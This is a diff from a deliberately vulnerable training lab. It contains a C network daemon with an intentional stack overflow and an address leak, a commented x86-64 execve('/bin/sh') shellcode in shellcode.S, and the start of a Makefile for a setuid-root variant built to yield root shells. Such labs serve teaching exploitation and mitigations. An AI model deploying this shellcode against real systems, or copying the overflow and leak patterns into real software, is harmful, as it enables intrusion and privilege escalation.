* printf("%s", buf); or better, fwrite()/write() of a length.
|
||||||
|
*
|
||||||
|
* We keep this as a *demonstration only* -- it runs on a copy in `line`
|
||||||
|
* so the crash it causes is obviously separate from Bug #1. The payload
|
||||||
|
* you send by default is plain text with no '%' characters, so this line
|
||||||
|
* is a no-op unless you explicitly ask for the format-string demo with
|
||||||
|
* the `fooc --fmt` mode.
|
||||||
|
*/
|
||||||
|
if (memchr(buf, '%', (size_t)n) != NULL) {
|
||||||
|
snprintf(line, sizeof(line), "%.*s", (int)FOOD_LOGSZ - 1, buf);
|
||||||
|
logmsg("vulnerable_handler: payload contains '%%', echoing it raw");
|
||||||
|
(void)write_all(fd, line, strlen(line)); /* safe echo of raw text. */
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* When this function returns, the CPU pops the (attacker-controlled)
|
||||||
|
* saved return address into RIP and jumps wherever the attacker chose.
|
||||||
|
* The `leave` + `ret` pair in the generated assembly is the exact
|
||||||
|
* instruction that hands over control.
|
||||||
|
*/
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* fd handling */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* on_sigsegv() -- print exactly where the CPU was trying to go.
|
||||||
|
*
|
||||||
|
* This handler exists purely to make the exploit *visible*. When the overflow
|
||||||
|
* lands, the CPU jumps to an address we chose; that address is almost always
|
||||||
|
* unmapped, the CPU raises SIGSEGV, and this handler runs.
|
||||||
|
*
|
||||||
|
* Two facts come out of the kernel for free:
|
||||||
|
*
|
||||||
|
* * ucontext->uc_mcontext.gregs[REG_RIP] is the address of the instruction
|
||||||
|
* the CPU was executing, i.e. the value of the instruction pointer at the
|
||||||
|
* moment of the fault. If we clobbered the return address, THIS is our
|
||||||
|
* eight bytes. It is the most direct possible proof that the attacker
|
||||||
|
* controls RIP.
|
||||||
|
* * siginfo->si_addr is the bad address the access was aimed at.
|
||||||
|
*
|
||||||
|
* Both are read out of the ucontext_t that the kernel hands us, which is why
|
||||||
|
* this needs <sys/ucontext.h> and _GNU_SOURCE.
|
||||||
|
*
|
||||||
|
* A production server absolutely should catch SIGSEGV like this -- not to keep
|
||||||
|
* serving, but to log the fault address so that a crash *tells you it was
|
||||||
|
* malicious*. Crashing silently is what makes these bugs survive for years.
|
||||||
|
*/
|
||||||
|
static void on_sigsegv(int sig, siginfo_t *si, void *ucv)
|
||||||
|
{
|
||||||
|
ucontext_t *uc = (ucontext_t *)ucv; /* The CPU's saved register state. */
|
||||||
|
unsigned long rip = 0;
|
||||||
|
unsigned long rsp = 0;
|
||||||
|
|
||||||
|
if (uc != NULL) {
|
||||||
|
rip = (unsigned long)uc->uc_mcontext.gregs[REG_RIP];
|
||||||
|
rsp = (unsigned long)uc->uc_mcontext.gregs[REG_RSP];
|
||||||
|
}
|
||||||
|
|
||||||
|
logmsg("SIGSEGV: faulting address %p", si ? si->si_addr : (void *)0);
|
||||||
|
logmsg("SIGSEGV: RIP=%#lx RSP=%#lx", rip, rsp);
|
||||||
|
logmsg("SIGSEGV: RIP is the return address the client supplied. "
|
||||||
|
"If it is 0x4141414141414141, that is our 'A' padding. "
|
||||||
|
"If it looks like a real code or libc address, we were hijacked.");
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Re-raise with the default disposition so the process still dies with the
|
||||||
|
* correct status and still dumps core. A handler that swallowed the
|
||||||
|
* signal and returned would re-execute the faulting instruction forever,
|
||||||
|
* because the bad address has not been fixed -- an easy way to turn one
|
||||||
|
* crash into an unkillable hang.
|
||||||
|
*/
|
||||||
|
signal(sig, SIG_DFL);
|
||||||
|
raise(sig);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* install_crash_reporter() -- attach on_sigsegv() to this process.
|
||||||
|
*
|
||||||
|
* Called in the forked child, so installing it is cheap and affects only the
|
||||||
|
* process serving one connection. The parent keeps its default dispositions
|
||||||
|
* and is therefore not slowed by signal handling.
|
||||||
|
*/
|
||||||
|
static void install_crash_reporter(void)
|
||||||
|
{
|
||||||
|
struct sigaction sa; /* The action structure sigaction() wants. */
|
||||||
|
|
||||||
|
memset(&sa, 0, sizeof(sa));
|
||||||
|
sa.sa_sigaction = on_sigsegv; /* The extended handler form. */
|
||||||
|
sa.sa_flags = SA_SIGINFO; /* "...and pass me the siginfo_t." */
|
||||||
|
|
||||||
|
/* An empty sigset means "block nothing extra while in the handler". */
|
||||||
|
sigemptyset(&sa.sa_mask);
|
||||||
|
|
||||||
|
if (sigaction(SIGSEGV, &sa, NULL) < 0)
|
||||||
|
logmsg("sigaction(SIGSEGV) failed: %s", strerror(errno));
|
||||||
|
if (sigaction(SIGBUS, &sa, NULL) < 0) /* Misaligned access, same idea. */
|
||||||
|
logmsg("sigaction(SIGBUS) failed: %s", strerror(errno));
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* prepare_client_fds() -- point fds 0, 1 and 2 at the accepted socket.
|
||||||
|
*
|
||||||
|
* Doing this once, up front, is what lets every exploitation technique in
|
||||||
|
* `fooc` work identically:
|
||||||
|
*
|
||||||
|
* * ret2win -> win() execs /bin/sh with fds 0-2 already on the socket.
|
||||||
|
* * ret2libc -> system("/bin/sh") likewise inherits the socket.
|
||||||
|
* * shellcode -> execve("/bin/sh") likewise inherits the socket.
|
||||||
|
*
|
||||||
|
* so whichever payload lands, the resulting shell talks straight back to the
|
||||||
|
* attacker over the network.
|
||||||
|
*/
|
||||||
|
static void prepare_client_fds(int fd)
|
||||||
|
{
|
||||||
|
if (fd != STDIN_FILENO) dup2(fd, STDIN_FILENO);
|
||||||
|
if (fd != STDOUT_FILENO) dup2(fd, STDOUT_FILENO);
|
||||||
|
if (fd != STDERR_FILENO) dup2(fd, STDERR_FILENO);
|
||||||
|
if (fd > STDERR_FILENO) close(fd); /* Don't leak the spare descriptor.*/
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* The information leak -- Bug #3 lives here (this one is a feature in the lab)*/
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* send_leaks() -- hand the attacker two pointers, on purpose.
|
||||||
|
*
|
||||||
|
* This models two *real* vulnerability classes, and it is what makes the
|
||||||
|
* "hard" techniques (ret2libc, shellcode) deterministic instead of a
|
||||||
|
* probability game:
|
||||||
|
*
|
||||||
|
* Leak A: a STACK address (the address of a local variable).
|
||||||
|
* Real-world analogue: CWE-200 / CWE-497 "exposure of sensitive
|
||||||
|
* information to an unauthorized actor" -- a debug endpoint, a verbose
|
||||||
|
* error page, a crash dump, a /proc/self/maps file served over HTTP.
|
||||||
|
* With it, the attacker learns exactly where their shellcode landed.
|
||||||
|
*
|
||||||
|
* Leak B: a LIBC address (the real address of `read`, resolved by the PLT
|
||||||
|
* trampoline into libc).
|
||||||
|
* Real-world analogue: the same, plus a classic function-pointer leak.
|
||||||
|
* With it, the attacker computes the load address of libc and therefore
|
||||||
|
* the addresses of `system` and of the "/bin/sh" string inside it.
|
||||||
|
*
|
||||||
|
* FIX for the daemon: do not print addresses to untrusted clients, and do
|
||||||
|
* not leave debug endpoints enabled in production builds.
|
||||||
|
*
|
||||||
|
* The text format is deliberately simple so the exploit can parse it with a
|
||||||
|
* one-line sscanf():
|
||||||
|
*
|
||||||
|
* "FOOD 1.0 leak stack=0x<hex> libc=0x<hex>\n"
|
||||||
|
*/
|
||||||
|
static void send_leaks(int fd)
|
||||||
|
{
|
||||||
|
long stack_marker = 0; /* A local; its address reveals the stack base.*/
|
||||||
|
/*
|
||||||
|
* The *exact* type of `read` as declared in <unistd.h>. Getting this
|
||||||
|
* signature wrong is a compile error in C (and a far worse bug in C++),
|
||||||
|
* which is a nice reminder that the type system is a security tool:
|
||||||
|
*
|
||||||
|
* ssize_t read(int fd, void *buf, size_t nbytes);
|
||||||
|
*
|
||||||
|
* We store it in a variable only so we can print its value as a leak.
|
||||||
|
*/
|
||||||
|
ssize_t (*libc_read)(int, void *, size_t); /* Real libc `read` fn ptr. */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Taking the address of a local is the leak. Compilers must honour this
|
||||||
|
* (it is observable behaviour), so it cannot be optimised away.
|
||||||
|
*/
|
||||||
|
stack_marker = 0x4141414141414141L; /* Make it obvious in a debugger.*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* `&read` is not the PLT stub once the dynamic linker has run: the GOT
|
||||||
|
* holds the true address inside libc, so this yields a genuine libc
|
||||||
|
* pointer. That is what makes leak B useful for ret2libc.
|
||||||
|
*/
|
||||||
|
libc_read = &read;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* 0644 octal = "rw-r--r--", the conventional permission bits for a file.
|
||||||
|
* %p prints a pointer in the implementation-defined but universally
|
||||||
|
* "0x..." form on glibc/x86-64.
|
||||||
|
*/
|
||||||
|
dprintf(fd, "FOOD 1.0 leak stack=%p libc=%p\n",
|
||||||
|
(void *)&stack_marker, (void *)libc_read);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* Per-connection handling */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* handle_client() -- do everything for one connected attacker.
|
||||||
|
*
|
||||||
|
* Runs in the forked child. Its job:
|
||||||
|
* 1. Send a banner and the two leaks.
|
||||||
|
* 2. Call the vulnerable function, which will be overflowed.
|
||||||
|
* 3. Never return to the accept loop: if the overflow missed, exit cleanly;
|
||||||
|
* if it hit, we never come back at all -- the CPU is somewhere else now.
|
||||||
|
*/
|
||||||
|
static void handle_client(int fd)
|
||||||
|
{
|
||||||
|
static const char banner[] =
|
||||||
|
"FOOD 1.0 - deliberately vulnerable service\n"
|
||||||
|
"Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.\n";
|
||||||
|
|
||||||
|
prepare_client_fds(fd); /* fds 0,1,2 now all point at the socket. */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Install the crash reporter *after* the dup2 dance, so its log lines
|
||||||
|
* (which go to g_logfd, not to the socket) cannot be seen by the client.
|
||||||
|
*/
|
||||||
|
install_crash_reporter();
|
||||||
|
|
||||||
|
logmsg("client connected (fd %d)", fd);
|
||||||
|
|
||||||
|
/* The banner and the leaks are two separate writes so the client can
|
||||||
|
* read them incrementally without needing a length-prefixed protocol. */
|
||||||
|
(void)write_all(STDOUT_FILENO, banner, sizeof(banner) - 1);
|
||||||
|
send_leaks(STDOUT_FILENO);
|
||||||
|
|
||||||
|
/* Hand control to the vulnerable code. Nothing after this line is
|
||||||
|
* guaranteed to run. */
|
||||||
|
vulnerable_handler(STDOUT_FILENO);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* We only get here if the exploit *missed* its target, or if no exploit
|
||||||
|
* was sent. Say goodbye politely so the exploit can tell the difference
|
||||||
|
* between "failed" and "succeeded".
|
||||||
|
*/
|
||||||
|
logmsg("vulnerable_handler returned normally -- payload did not hijack RIP");
|
||||||
|
(void)write_all(STDOUT_FILENO, "OK: no hijack, disconnecting.\n", 29);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* The server loop */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* make_listener() -- create the listening socket.
|
||||||
|
*
|
||||||
|
* A correct, boring, textbook implementation: it would be the same code in
|
||||||
|
* production. Returns the fd, or -1 on failure.
|
||||||
|
*/
|
||||||
|
static int make_listener(const char *host, int port)
|
||||||
|
{
|
||||||
|
struct sockaddr_in addr; /* The TCP address we will bind to. */
|
||||||
|
int fd; /* The socket descriptor. */
|
||||||
|
int one = 1; /* Value for setsockopt(). */
|
||||||
|
|
||||||
|
fd = socket(AF_INET, SOCK_STREAM, 0); /* IPv4, TCP. */
|
||||||
|
if (fd < 0) {
|
||||||
|
logmsg("socket() failed: %s", strerror(errno));
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* SO_REUSEADDR: let us restart quickly without TIME_WAIT blocking us. */
|
||||||
|
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
|
||||||
|
logmsg("setsockopt(SO_REUSEADDR) failed: %s", strerror(errno));
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Zero the whole structure first. Leaving uninitialised padding bytes is
|
||||||
|
* a real bug (CWE-457) that leaks stack memory to the kernel -- harmless
|
||||||
|
* here, but habit-forming in a bad way, so we do it properly.
|
||||||
|
*/
|
||||||
|
memset(&addr, 0, sizeof(addr));
|
||||||
|
addr.sin_family = AF_INET; /* IPv4. */
|
||||||
|
addr.sin_port = htons((uint16_t)port);/* Network byte order. */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* inet_pton() parses the dotted-quad text form "127.0.0.1" into the
|
||||||
|
* network-byte-order struct in_addr. It returns 1 on success, 0 on a
|
||||||
|
* malformed address, -1 on error. This is the correct way to turn a
|
||||||
|
* config string into an address -- strtoul() would happily accept things
|
||||||
|
* like "0x7f000001" and hide bugs.
|
||||||
|
*/
|
||||||
|
if (inet_pton(AF_INET, host, &addr.sin_addr) != 1) {
|
||||||
|
logmsg("bad bind address: %s", host);
|
||||||
|
close(fd);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* int -> unsigned short is a narrowing cast, so range-check the port
|
||||||
|
* before htons() can silently truncate a value like 70000 to 4464. */
|
||||||
|
if (port < 1 || port > 65535) {
|
||||||
|
logmsg("port out of range: %d", port);
|
||||||
|
close(fd);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
|
||||||
|
logmsg("bind(%s:%d) failed: %s", host, port, strerror(errno));
|
||||||
|
close(fd);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (listen(fd, 16) < 0) { /* Backlog of 16 connections. */
|
||||||
|
logmsg("listen() failed: %s", strerror(errno));
|
||||||
|
close(fd);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return fd;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* Tiny main() */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
static void usage(const char *argv0)
|
||||||
|
{
|
||||||
|
fprintf(stderr,
|
||||||
|
"usage: %s [-h HOST] [-p PORT] [-d]\n"
|
||||||
|
"\n"
|
||||||
|
" -h HOST address to bind (default %s -- keep it on loopback!)\n"
|
||||||
|
" -p PORT TCP port to listen on (default %d)\n"
|
||||||
|
" -d daemonise: fork into the background\n"
|
||||||
|
"\n"
|
||||||
|
"WARNING: this program is intentionally exploitable. Do not run it\n"
|
||||||
|
"on any host that matters, and do not bind it to 0.0.0.0.\n",
|
||||||
|
argv0, FOOD_HOST, FOOD_PORT);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
const char *host = FOOD_HOST; /* Bind address, overridable with -h. */
|
||||||
|
int port = FOOD_PORT; /* Bind port, overridable with -p. */
|
||||||
|
int daemonise = 0; /* Set by -d. */
|
||||||
|
int lfd; /* Listening socket fd. */
|
||||||
|
int i; /* getopt()'s index. */
|
||||||
|
|
||||||
|
/* getopt() parses the command line. ":h:p:d" = h/p take args, d does not,
|
||||||
|
* leading ':' means "report missing argument as ':'". */
|
||||||
|
while ((i = getopt(argc, argv, ":h:p:d")) != -1) {
|
||||||
|
switch (i) {
|
||||||
|
case 'h': host = optarg; break; /* host argument. */
|
||||||
|
case 'p': port = atoi(optarg); break; /* port argument. */
|
||||||
|
case 'd': daemonise = 1; break; /* background flag. */
|
||||||
|
case ':': fprintf(stderr, "missing argument to -%c\n", optopt);
|
||||||
|
usage(argv[0]);
|
||||||
|
return 2;
|
||||||
|
default: usage(argv[0]); /* unknown flag. */
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Ignore SIGPIPE so a client disconnecting mid-write cannot kill us. */
|
||||||
|
signal(SIGPIPE, SIG_IGN);
|
||||||
|
|
||||||
|
/* Reap dead children automatically instead of accumulating zombies. */
|
||||||
|
signal(SIGCHLD, SIG_IGN);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Claim a private copy of stdout for logging, BEFORE any accept() can
|
||||||
|
* dup2 a client socket over fd 1. Everything logged afterwards goes to
|
||||||
|
* the real terminal or wherever stdout was pointed, never to a client.
|
||||||
|
* g_logfd is 0 or 1 only if dup() failed, in which case we fall back to
|
||||||
|
* the original stdout in logmsg().
|
||||||
|
*/
|
||||||
|
g_logfd = dup(STDOUT_FILENO);
|
||||||
|
if (g_logfd < 0) {
|
||||||
|
g_logfd = STDOUT_FILENO;
|
||||||
|
fprintf(stderr, "food: warning: could not reserve a log descriptor\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
lfd = make_listener(host, port);
|
||||||
|
if (lfd < 0)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
logmsg("listening on %s:%d (pid %d) -- THIS SERVICE IS INTENTIONALLY VULNERABLE",
|
||||||
|
host, port, (int)getpid());
|
||||||
|
|
||||||
|
if (daemonise) {
|
||||||
|
/* Standard double-fork daemonisation so we cannot acquire a
|
||||||
|
* controlling terminal. Parent exits, intermediate exits, we survive. */
|
||||||
|
pid_t p1 = fork();
|
||||||
|
if (p1 < 0) { perror("fork"); return 1; }
|
||||||
|
if (p1 > 0) _exit(0); /* Original parent: go away. */
|
||||||
|
if (setsid() < 0) perror("setsid");
|
||||||
|
pid_t p2 = fork();
|
||||||
|
if (p2 < 0) { perror("fork"); return 1; }
|
||||||
|
if (p2 > 0) _exit(0); /* Session leader: also go away. */
|
||||||
|
if (chdir("/") < 0) perror("chdir");
|
||||||
|
umask(022); /* New files default to 0644. */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- The accept loop. Runs forever. ---------------------------------- */
|
||||||
|
for (;;) {
|
||||||
|
struct sockaddr_in peer; /* Who connected. */
|
||||||
|
socklen_t plen = sizeof(peer);
|
||||||
|
int cfd; /* Client socket. */
|
||||||
|
pid_t pid; /* Child pid. */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* accept() blocks until a client arrives, then returns a *new* fd
|
||||||
|
* connected to that client. The listening fd stays open.
|
||||||
|
*/
|
||||||
|
cfd = accept(lfd, (struct sockaddr *)&peer, &plen);
|
||||||
|
if (cfd < 0) {
|
||||||
|
if (errno == EINTR || errno == ECONNABORTED)
|
||||||
|
continue; /* Transient: just try again. */
|
||||||
|
logmsg("accept() failed: %s", strerror(errno));
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Fork per connection. Reason 1: isolation -- a segfault in the
|
||||||
|
* exploit's payload kills only the child, so the daemon survives.
|
||||||
|
* Reason 2: the child can _exit() without taking the server down.
|
||||||
|
*/
|
||||||
|
pid = fork();
|
||||||
|
if (pid < 0) {
|
||||||
|
logmsg("fork() failed: %s", strerror(errno));
|
||||||
|
close(cfd);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pid == 0) {
|
||||||
|
/* ---- Child: serve exactly one client, then die. -------------- */
|
||||||
|
close(lfd); /* Release our copy of the listening socket. */
|
||||||
|
handle_client(cfd);
|
||||||
|
/* If the exploit worked, we never get here. If it did not, exit. */
|
||||||
|
_exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- Parent: close our copy of the client socket and go around. -- */
|
||||||
|
close(cfd);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Not reached: the accept loop is infinite. */
|
||||||
|
}
|
||||||
140
shellcode.S
Normal file
140
shellcode.S
Normal file
|
|
@ -0,0 +1,140 @@
|
||||||
|
; ===========================================================================
|
||||||
|
; shellcode.S -- the reference version of the 23 bytes embedded in fooc.c
|
||||||
|
; ===========================================================================
|
||||||
|
;
|
||||||
|
; This file exists for ONE reason: to let you prove that the `SHELLCODE[]`
|
||||||
|
; array in fooc.c is exactly the machine code you would get from assembling
|
||||||
|
; these instructions. It is not used by the exploit, which carries the bytes
|
||||||
|
; inline so it has no runtime dependency on nasm.
|
||||||
|
;
|
||||||
|
; make verify-shellcode assembles this and diffs it against fooc.c
|
||||||
|
;
|
||||||
|
; WHAT IT DOES
|
||||||
|
; ------------
|
||||||
|
; execve("/bin/sh", argv = NULL, envp = NULL)
|
||||||
|
;
|
||||||
|
; ... and that is the whole payload. There is no loop, no decoder, no
|
||||||
|
; egg-hunter: 23 bytes that turn the process into a shell.
|
||||||
|
;
|
||||||
|
; THE ABI
|
||||||
|
; -------
|
||||||
|
; The System V AMD64 calling convention, and the kernel's syscall convention,
|
||||||
|
; agree on the register layout, which is why one sequence serves both:
|
||||||
|
;
|
||||||
|
; rdi 1st argument -> the pathname
|
||||||
|
; rsi 2nd argument -> argv
|
||||||
|
; rdx 3rd argument -> envp
|
||||||
|
; rax syscall number -> 59 = execve
|
||||||
|
;
|
||||||
|
; Passing argv = NULL makes the kernel synthesise argv[0] from the pathname,
|
||||||
|
; and envp = NULL gives the new program an empty environment. The shell runs
|
||||||
|
; fine, but with no PATH, so `id` and `uname` work and bare `vi` does not --
|
||||||
|
; a small detail that surprises people, and the reason fooc's own local shell
|
||||||
|
; uses execv() with a real environment instead.
|
||||||
|
;
|
||||||
|
; ASSEMBLY NOTES
|
||||||
|
; --------------
|
||||||
|
; * `mov rdi, 0x68732f6e69622f` needs the REX.W prefix and a 64-bit
|
||||||
|
; immediate, so it is spelled `movabs` in AT&T syntax (or `mov r64,
|
||||||
|
; imm64` in Intel syntax). The immediate is the eight ASCII bytes
|
||||||
|
; "/bin/sh\0" read as a little-endian 64-bit number -- the NUL comes free
|
||||||
|
; because it is the high byte of the little-endian representation, which is
|
||||||
|
; the top of the string.
|
||||||
|
;
|
||||||
|
; * We `push rdi` rather than putting the string in a `.data` section
|
||||||
|
; because the payload must be position independent: it will sit at whatever
|
||||||
|
; address the target's stack (or, in a ROP chain, wherever the attacker
|
||||||
|
; chose) happens to be. RIP-relative addressing would break, `push` will
|
||||||
|
; not.
|
||||||
|
;
|
||||||
|
; * `push 0x3b; pop rax` is the idiomatic 2-byte way to load a small syscall
|
||||||
|
; number. `mov eax, 0x3b` is 5 bytes, which matters in a payload.
|
||||||
|
;
|
||||||
|
; * There is no `ret` at the end. execve replaces the process image and never
|
||||||
|
; returns, so anything after `syscall` is dead code. The shell you get never
|
||||||
|
; runs our bytes again -- which is why the parent process's stack, and
|
||||||
|
; therefore the corrupted return address, is irrelevant once this fires.
|
||||||
|
;
|
||||||
|
; WHY THIS IS THE THING NX BIT EXISTS TO STOP
|
||||||
|
; -------------------------------------------
|
||||||
|
; These bytes must land on an executable page. The stack normally is not, so
|
||||||
|
; on any modern system the CPU raises SIGSEGV the moment `ret` transfers control
|
||||||
|
; into the payload. That single hardware feature is why real-world ROP chains
|
||||||
|
; look like this file and not like this file: with NX on, the attacker reuses
|
||||||
|
; code that already exists in the binary or in libc. See README.md.
|
||||||
|
; ===========================================================================
|
||||||
|
|
||||||
|
BITS 64
|
||||||
|
|
||||||
|
; section .text -- mark it executable, the default, so `nasm -f bin` emits
|
||||||
|
; the instruction bytes with no ELF wrapper around them.
|
||||||
|
section .text
|
||||||
|
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
; xor esi, esi
|
||||||
|
; rsi = 0 -> envp = NULL
|
||||||
|
;
|
||||||
|
; Zeroing with xor instead of `mov esi, 0` is two bytes shorter (2 vs 5) and
|
||||||
|
; the classic x86 idiom for producing a zero without a memory operand. It
|
||||||
|
; also has a side effect: the zeroing flag form skips the dependency-breaking
|
||||||
|
; trick some old CPUs needed, which no longer matters.
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
xor esi, esi
|
||||||
|
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
; xor edx, edx
|
||||||
|
; rdx = 0 -> argv = NULL
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
xor edx, edx
|
||||||
|
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
; movabs rdi, 0x68732f6e69622f
|
||||||
|
; rdi = the 8 bytes 2f 62 69 6e 2f 73 68 00, i.e. "/bin/sh\0"
|
||||||
|
;
|
||||||
|
; Read the immediate right-to-left as bytes and it spells the string out.
|
||||||
|
; That packing is the whole trick: eight bytes of payload in a ten-byte
|
||||||
|
; instruction, no data section, no relocation, no alignment padding.
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
movabs rdi, 0x68732f6e69622f
|
||||||
|
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
; push rdi
|
||||||
|
; Put those eight bytes on the stack, where a string has to live so that a
|
||||||
|
; register can point at it. The stack is writable and is at a known
|
||||||
|
; (attacker-chosen) address, so this is the position-independent way to
|
||||||
|
; materialise a string constant.
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
push rdi
|
||||||
|
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
; mov rdi, rsp
|
||||||
|
; rdi = the address of the string we just pushed = argv[0] as well as the
|
||||||
|
; pathname. Reusing one buffer for both is legal; the kernel only reads the
|
||||||
|
; pathname before it sets up the new stack, and by then argv[0] is copied.
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
mov rdi, rsp
|
||||||
|
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
; push 0x3b
|
||||||
|
; pop rax
|
||||||
|
; rax = 59 = the __NR_execve slot in the x86-64 syscall table.
|
||||||
|
;
|
||||||
|
; Syscall numbers are part of the kernel ABI and are frozen: 0 = read,
|
||||||
|
; 1 = write, 2 = open, ..., 59 = execve. They are not sequential by function,
|
||||||
|
; they are fixed by history, which is why they are also a handy way for an
|
||||||
|
; analyst to recognise a payload.
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
push 0x3b
|
||||||
|
pop rax
|
||||||
|
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
; syscall
|
||||||
|
; Trap into the kernel. On return, either we are a shell (success) or we
|
||||||
|
; are handed a -errno in rax and fall off the end of the payload (failure).
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
syscall
|
||||||
|
|
||||||
|
; Note what is NOT here:
|
||||||
|
; * no `ret` -- execve does not return.
|
||||||
|
; * no `nop` sled -- we jump straight to the first byte.
|
||||||
|
; * no `jmp $+N` -- nothing to reach.
|
||||||
15
suid/.gitignore
vendored
Normal file
15
suid/.gitignore
vendored
Normal file
|
|
@ -0,0 +1,15 @@
|
||||||
|
# Build products
|
||||||
|
foosd
|
||||||
|
foosd_hardened
|
||||||
|
foosc
|
||||||
|
shellcode.bin
|
||||||
|
.sc_c_raw.txt
|
||||||
|
.sc_c.txt
|
||||||
|
.sc_asm.txt
|
||||||
|
tests/pty_suid_test
|
||||||
|
|
||||||
|
# Logs are evidence -- keep them out of git but present on disk
|
||||||
|
foosd.log
|
||||||
|
foosd_hardened.log
|
||||||
|
*.log
|
||||||
|
|
||||||
314
suid/Makefile
Normal file
314
suid/Makefile
Normal file
|
|
@ -0,0 +1,314 @@
|
||||||
|
# ============================================================================
|
||||||
|
# Makefile -- builds the SUID lab: the vulnerable daemon, its exploit, and
|
||||||
|
# the test harness. Companion to the parent lab's Makefile.
|
||||||
|
# ============================================================================
|
||||||
|
#
|
||||||
|
# make build foosd, foosc and the test harness
|
||||||
|
# make setuid ONE-TIME, needs sudo: gives foosd the setuid bit and a
|
||||||
|
# root owner. THIS is what makes the exploit yield root.
|
||||||
|
# make unsetuid remove the setuid bit again when you are done
|
||||||
|
# make run start foosd on loopback (whatever uid it currently has)
|
||||||
|
# make status report the setuid state of ./foosd
|
||||||
|
# make test technique matrix (works with or without the setuid bit)
|
||||||
|
# make test-suid the matrix with --must-root on the techniques that are
|
||||||
|
# SUPPOSED to escalate (needs `make setuid` first)
|
||||||
|
# make verify prove the bytes in foosc.c equal what shellcode.S makes
|
||||||
|
# make hardened rebuild foosd with all mitigations ON (expect failure)
|
||||||
|
# make test-hardened show which techniques the mitigations kill
|
||||||
|
# make stop stop the daemon
|
||||||
|
# make clean remove build products
|
||||||
|
#
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# THE SETUID STATE -- the one thing that makes this lab different
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# A setuid-root binary is `root:root` with the 's' bit in its mode (rwsr-xr-x).
|
||||||
|
# The whole point of this lab is the difference between running `foosd`
|
||||||
|
# WITHOUT that state (exploits land, but the shell is a plain user shell)
|
||||||
|
# and WITH it (shellcode yields uid=0):
|
||||||
|
#
|
||||||
|
# make setuid # needs sudo, once, after any rebuild
|
||||||
|
# make run
|
||||||
|
# make test-suid
|
||||||
|
# make stop
|
||||||
|
# make unsetuid # hygiene: never leave it set
|
||||||
|
#
|
||||||
|
# IMPORTANT BUILD RULE: `make clean` can remove a root-owned binary (delete
|
||||||
|
# permissions come from the DIRECTORY), but recompiling OVER a root-owned
|
||||||
|
# file fails with "Permission denied". So after `make setuid`:
|
||||||
|
# sudo make clean # or: make unsetuid, then make, then make setuid
|
||||||
|
# ============================================================================
|
||||||
|
|
||||||
|
CC ?= gcc
|
||||||
|
CSTD := -std=c99
|
||||||
|
|
||||||
|
# We do NOT use -Werror: the deliberate overflow triggers
|
||||||
|
# -Wstringop-overflow in foosd.c and that warning is supposed to fire.
|
||||||
|
WARN := -Wall -Wextra
|
||||||
|
DBG := -O0 -g
|
||||||
|
|
||||||
|
